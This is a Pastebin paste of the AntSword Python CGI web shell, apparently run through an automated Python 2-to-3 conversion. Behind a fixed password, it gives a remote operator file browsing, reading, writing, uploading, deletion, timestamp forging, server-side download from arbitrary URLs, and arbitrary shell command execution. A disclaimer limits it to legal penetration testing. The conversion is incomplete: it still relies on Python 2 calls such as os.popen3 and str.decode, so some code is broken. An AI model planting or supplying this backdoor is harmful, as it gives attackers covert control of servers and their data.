tastypear

antSword_py_sample_2to3

Nov 22nd, 2023 (edited)
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 12.29 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # coding:utf-8
  3.  
  4. import os
  5. import cgi
  6. import time
  7. import stat
  8. import getpass
  9. import base64
  10. import binascii
  11. import shutil
  12. import urllib.request, urllib.parse, urllib.error
  13. import platform
  14. import cgitb
  15. import sys
  16. import importlib
  17. cgitb.enable()
  18. importlib.reload(sys)
  19. VERSION = "0.0.2"
  20. '''
  21.              _   ____                       _
  22.   __ _ _ __ | |_/ ___|_      _____  _ __ __| |
  23.  / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
  24. | (_| | | | | |_ ___) \ V  V / (_) | | | (_| |
  25.  \__,_|_| |_|\__|____/ \_/\_/ \___/|_|  \__,_|
  26. —————————————————————————————————————————————————
  27.  AntSword Python2 CGI Custom Script No DataBase
  28.  
  29.     警告:
  30.         此脚本仅供合法的渗透测试以及爱好者参考学习
  31.          请勿用于非法用途,否则将追究其相关责任!
  32. —————————————————————————————————————————————————
  33.  
  34. 使用说明:
  35.  1. AntSword >= v1.1-dev, Python == 2.x
  36.  2. 创建 Shell 时选择 custom 模式连接
  37.  3. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
  38.  4. 本脚本不含数据库管理操作
  39.  
  40. 使用方法:
  41.  1. 修改 PWD, ENCODER, ENCODE
  42.  2. 复制本脚本到 cgi-bin 目录下(根据中间件配置来定)
  43.  3. 赋予可执行权限 chmod +x xxx.py
  44.  
  45. CHANGELOG:
  46.  
  47.  Date 2018/12/30 v0.0.2
  48.    1. 修复 windows 下命令执行参数问题
  49.    2. 解决 windows 下文件名中文编码问题 (win10以下系统建议使用 gb2312 gbk 编码)
  50.    3. 修复 windows 下获取当前用户获取不到时致命错误
  51.  
  52.  Date 2018/12/29 v0.0.1
  53.    1. 文件系统 和 terminal 管理
  54.    2. 支持 hex 和 base64 编码器
  55.    3. 脚本内统一使用 unicode 编码来处理
  56. '''
  57.  
  58.  
  59. PWD = "ant"     # 连接密码
  60. ENCODER = ""    # 编码器, 3选1
  61. # ENCODER = "hex" # 推荐使用此编码器
  62. # ENCODER = "base64"
  63. ENCODE = "utf-8" # 字符编码
  64. OUT_PREFIX = "->" + "|" # 数据分割前缀符
  65. OUT_SUFFIX = "|" + "<-" # 数据分割后缀符
  66.  
  67.  
  68. def Decoder(enstr):
  69.     '''解码方法,解AntSword 编码器编码后的数据
  70. @param enstr string 已经经过编码器编码的数据
  71. @return ret string 解码后的数据
  72. '''
  73.     if(ENCODER == "base64"):        
  74.         return base64.b64decode(enstr)
  75.     elif (ENCODER == "hex"):
  76.         return binascii.a2b_hex(enstr)
  77.     else:
  78.         return enstr
  79.  
  80. def TimeStampToTime(timestamp):
  81.     timeStruct = time.localtime(timestamp)
  82.     return time.strftime('%Y-%m-%d %H:%M:%S',timeStruct)
  83.  
  84. def BaseInfo():
  85.     '''获取系统基础信息
  86. @return ret string Shell或网站根目录\t盘符\tuname信息\t当前用户
  87. '''
  88.     ret = ""
  89.     d = os.path.dirname(os.environ.get('SCRIPT_FILENAME', ''))
  90.     if(d == ""):
  91.         d = os.getcwd()
  92.     ret = "%s\t" % d
  93.     if(d.startswith('/')):
  94.         ret += "/"
  95.     else:
  96.         for L in range(ord('C'), ord('Z') + 1):
  97.             if(os.path.isdir("%s:" % chr(L))):
  98.                 ret += "%s:" % chr(L)
  99.     ret += "\t"
  100.     ret += "%s\t" % ' '.join(platform.uname())
  101.     if platform.system().lower() == 'windows':
  102.         u = "Unknow" # windows 下没 pwd 使用 getpass.getuser 会出错
  103.         for name in ('LOGNAME','USER','LNAME','USERNAME'):
  104.             user = os.environ.get(name)
  105.             if user:
  106.                 u = user
  107.                 break
  108.         ret += u
  109.     else:
  110.         ret += getpass.getuser()
  111.     return ret
  112.  
  113.  
  114. def FileTreeCode(d):
  115.     '''获取指定目录下的文件和目录信息
  116. @param  d   string  文件路径
  117.  
  118. @return ret string  文件名\t创建时间\t文件大小\t文件权限(RWX 或 8进制)
  119. '''
  120.     ret = ""
  121.     # 如果文件名/目录是中文,则需要 encode 成系统的编码后再去处理
  122.     if(os.path.exists(d.encode(ENCODE))):
  123.         for fname in os.listdir(d.encode(ENCODE)):
  124.             fname = fname.decode(ENCODE)
  125.             p = os.path.join(d, fname)
  126.             try:
  127.                 fst = os.stat(p.encode(ENCODE))
  128.                 name = fname
  129.                 if stat.S_ISDIR(fst.st_mode):
  130.                     name += "/"
  131.                 ret += "{}\t{}\t{}\t{}\n".format(name, TimeStampToTime(fst.st_mtime), fst.st_size, oct(fst.st_mode)[-4:])
  132.             except:
  133.                 ret += "{}\t{}\t{}\t{}\n".format(fname, TimeStampToTime(0), 0, 0)
  134.     else:
  135.         ret = "ERROR:// Path Not Found or No Permission!"
  136.     return ret.encode(ENCODE)
  137.  
  138. def ReadFileCode(fpath):
  139.     '''获取指定路径文件内容
  140. @param fpath string 文件路径
  141.  
  142. @return ret string  成功返回文件内容,失败抛出异常
  143. '''
  144.     with open(fpath.encode(ENCODE), 'r') as fp:
  145.         return fp.read()
  146.  
  147. def WriteFileCode(path, content):
  148.     '''向指定文件路径下写入content的内容
  149. @param path    string 文件路径
  150. @param content string 文件内容(整个文件内容)
  151.  
  152. @return ret string 成功返回 1 失败返回 0 或抛出异常
  153. '''
  154.     with open(path.encode(ENCODE), "w") as fp:
  155.         fp.write(content.encode(ENCODE))
  156.     return "1"
  157.  
  158. def DeleteFileOrDirCode(path):
  159.     '''删除指定路径下的文件或目录
  160. @param path string 文件或目录路径
  161. @return ret string 成功返回 1 失败返回 0 或抛出异常
  162. '''
  163.     if os.path.isdir(path.encode(ENCODE)):
  164.         shutil.rmtree(path.encode(ENCODE))
  165.     else:
  166.         os.remove(path.encode(ENCODE))
  167.     return "1"
  168.  
  169. def DownloadFileCode(path):
  170.     '''下载指定路径的文件
  171. @param path   string 文件路径
  172. @return None  直接在本方法内输出文件的二进制内容,失败则抛出异常
  173. '''
  174.     with open(path.encode(ENCODE), 'r') as fp:
  175.         print(fp.read(),end='')
  176.  
  177. def UploadFileCode(path, content):
  178.     '''上传文件
  179. @param path    string 文件路径 eg: /tmp/123
  180. @param content hexstring 文件内容(分段) eg: 416e74 内容为 Ant
  181. @return ret    string 成功返回 1 失败返回 0 或抛出异常
  182. '''
  183.     data = binascii.a2b_hex(content)
  184.     with open(path.encode(ENCODE), "a") as f:
  185.         f.write(data)
  186.     return "1"
  187.  
  188. def CopyFileOrDirCode(oldPath, newPath):
  189.     '''复制文件或目录
  190. @param oldPath string 原文件/目录路径 eg: /etc/passwd
  191. @param newPath string 新文件/目录路径 eg: /tmp/passwd
  192. @return ret    string 成功返回 1 失败返回 0 或抛出异常
  193. '''
  194.     if os.path.isdir(oldPath.encode(ENCODE)):
  195.         shutil.copytree(oldPath.encode(ENCODE), newPath.encode(ENCODE),symlinks=True)
  196.     else:
  197.         shutil.copy(oldPath.encode(ENCODE), newPath.encode(ENCODE))
  198.     return "1"
  199.  
  200. def RenameFileOrDirCode(oldPath, newPath):
  201.     '''重命名文件或目录
  202. @param oldPath string 原文件/目录路径 eg: /tmp/123
  203. @param newPath string 新文件/目录路径 eg: /tmp/456
  204. @return ret    string 成功返回 1 失败返回 0 或抛出异常
  205. '''
  206.     os.rename(oldPath.encode(ENCODE), newPath.encode(ENCODE))
  207.     return "1"
  208.  
  209. def CreateDirCode(path):
  210.     '''新建目录
  211. @param path    string 新目录路径 eg: /tmp/123
  212. @return ret    string 成功返回 1 失败返回 0 或抛出异常
  213. '''
  214.     os.makedirs(path.encode(ENCODE))
  215.     return "1"
  216.  
  217. def ModifyFileOrDirTimeCode(path, newTime):
  218.     '''修改文件或目录的 最后一次修改时间
  219. @param path    string 文件/目录路径 eg: /tmp/123
  220. @param newTime string 时间字符串 eg: 2018-12-12 20:48:54
  221. @return ret    string 成功返回 1 失败返回 0
  222. '''
  223.     atime = int(time.mktime(time.strptime(newTime, '%Y-%m-%d %H:%M:%S')))
  224.     os.utime(path.encode(ENCODE), (atime, atime))
  225.     return "1"
  226.  
  227. def WgetCode(url, savepath):
  228.     '''服务端 Wget
  229. @param url      string url 地址 eg: http://xxx.com/1.jpg
  230. @param savepath string 文件路径 eg: /tmp/2.jpg
  231. @return ret    string 成功返回 1 失败返回 0
  232. '''
  233.     urllib.request.urlretrieve(url, filename=savepath.encode(ENCODE))
  234.     return "1"
  235.  
  236. def ExecuteCommandCode(cmdPath, command):
  237.     '''执行命令
  238. @param cmdPath string 执行命令的shell路径 eg: /bin/sh
  239. @param command string 执行的命令内容 eg: cd "/usr/";pwd;whoami
  240. @return ret string 执行命令返回结果
  241. '''
  242.     d = os.path.dirname(os.environ.get('SCRIPT_FILENAME', ''))
  243.     if(d == ""):
  244.         d = os.getcwd()
  245.     cmd = []
  246.     if d[0] == "/":
  247.         cmd = [cmdPath, '-c', '%s' % command]
  248.     else:
  249.         cmd = '''%s /c "%s"''' % (cmdPath, command)
  250.     c_stdin, c_stdout, c_stderr = os.popen3(cmd)
  251.     c_stdin.close()
  252.     result = c_stdout.read()
  253.     c_stdout.close()
  254.     errmsg = c_stderr.read()
  255.     c_stderr.close()
  256.     return result + errmsg
  257.  
  258. def showDatabases(encode, conf):
  259.     '''列出当前数据库系统下所有数据库
  260. @param encode string 数据库连接编码 eg:utf8
  261. @param conf string 连接字符串, 自己定义解析格式
  262. @return ret   string 执行结果, \t 为字段分割符
  263.  
  264. 例如某连接下有3个数据库(mysql,test,information_schema),
  265. 则返回结果为:
  266.  
  267. mysql\ttest\tinformation_schema
  268. '''
  269.     return "ERROR:// Not Implement"
  270.  
  271. def showTables(encode, conf, dbname):
  272.     '''列出当前数据库下所有表
  273. @param encode string 数据库连接编码 eg:utf8
  274. @param conf string 连接字符串, 自己定义解析格式
  275. @param dbname string 数据库名 eg: mysql
  276. @return ret   string 执行结果, \t 为字段分割符
  277.  
  278. 例如某数据库下有3张表(user,admin,member),则返回结果为:
  279.  
  280. user\tadmin\tmember
  281. '''
  282.     return "ERROR:// Not Implement"
  283.  
  284. def showColumns(encode, conf, dbname, table):
  285.     '''列出当前表下所有列
  286. @param encode string 数据库连接编码 eg:utf8
  287. @param conf   string 连接字符串, 自己定义解析格式
  288. @param dbname string 数据库名 eg: mysql
  289. @param table  string 表名    eg: user
  290. @return ret   string 执行结果, \t 为字段分割符
  291.  
  292. 例如某张表有3个字段(id,user,password), 则返回数据如下:
  293.  
  294. id\tuser\tpassword
  295. '''
  296.     return "ERROR:// Not Implement"
  297.  
  298. def query(encode, conf, sql):
  299.     '''执行 sql 语句
  300. @param encode string 数据库连接编码 eg:utf8
  301. @param conf   string 连接字符串, 自己定义解析格式
  302. @param sql    string 要执行的sql语句
  303. @return ret   string 执行结果, \t|\t 为列分割符, \r\n为行分割符, 第一行为列名
  304.  
  305. 例如某张表有3个字段(id,user,password), 查询的结果有2条数据,则返回数据如下:
  306.  
  307. id\t|\tuser\t|\tpassword\r\n1\t|\tadmin\t|\t123456\r\n2\t|\tuser\t|\t123456\r\n
  308. '''
  309.     return "ERROR:// Not Implement"
  310.  
  311. if __name__ == "__main__":
  312.     print("Content-Type: text/html;charset=%s" % ENCODE)
  313.     print()
  314.  
  315.     print(OUT_PREFIX.decode(ENCODE), end='')
  316.     ret = ""
  317.     try:
  318.         form = cgi.FieldStorage()
  319.         funcode = form.getvalue(PWD)
  320.         z0 = Decoder(form.getvalue("z0","").decode())
  321.         z1 = Decoder(form.getvalue("z1","").decode())
  322.         z2 = Decoder(form.getvalue("z2","").decode())
  323.         z3 = Decoder(form.getvalue("z3","").decode())
  324.  
  325.         if(funcode == "A"):
  326.             ret = BaseInfo()
  327.         elif(funcode == "B"):
  328.             ret = FileTreeCode(z1)
  329.         elif(funcode == 'C'):
  330.             ret = ReadFileCode(z1)
  331.         elif(funcode == 'D'):
  332.             ret = WriteFileCode(z1, z2)
  333.         elif(funcode == 'E'):
  334.             ret = DeleteFileOrDirCode(z1)
  335.         elif(funcode == 'F'):
  336.             DownloadFileCode(z1)
  337.         elif(funcode == 'U'):
  338.             ret = UploadFileCode(z1, z2)
  339.         elif(funcode == 'H'):
  340.             ret = CopyFileOrDirCode(z1, z2)
  341.         elif(funcode == 'I'):
  342.             ret = RenameFileOrDirCode(z1, z2)
  343.         elif(funcode == 'J'):
  344.             ret = CreateDirCode(z1)
  345.         elif(funcode == 'K'):
  346.             ret = ModifyFileOrDirTimeCode(z1, z2)
  347.         elif(funcode == 'L'):
  348.             ret = WgetCode(z1, z2)
  349.         elif(funcode == 'M'):
  350.             ret = ExecuteCommandCode(z1, z2)
  351.         elif(funcode == 'N'):
  352.             ret = showDatabases(z0, z1)
  353.         elif(funcode == 'O'):
  354.             ret = showTables(z0, z1, z2)
  355.         elif(funcode == 'P'):
  356.             ret = showColumns(z0, z1, z2, z3)
  357.         elif(funcode == 'Q'):
  358.             ret = query(z0, z1, z2)
  359.         else:
  360.             pass
  361.     except Exception as e:
  362.         ret = "ERROR:// %s" % getattr(e, 'strerror', str(e))
  363.  
  364.     print(ret, end="")
  365.     print(OUT_SUFFIX.decode(ENCODE))
  366.  
Add Comment
Please, Sign In to add comment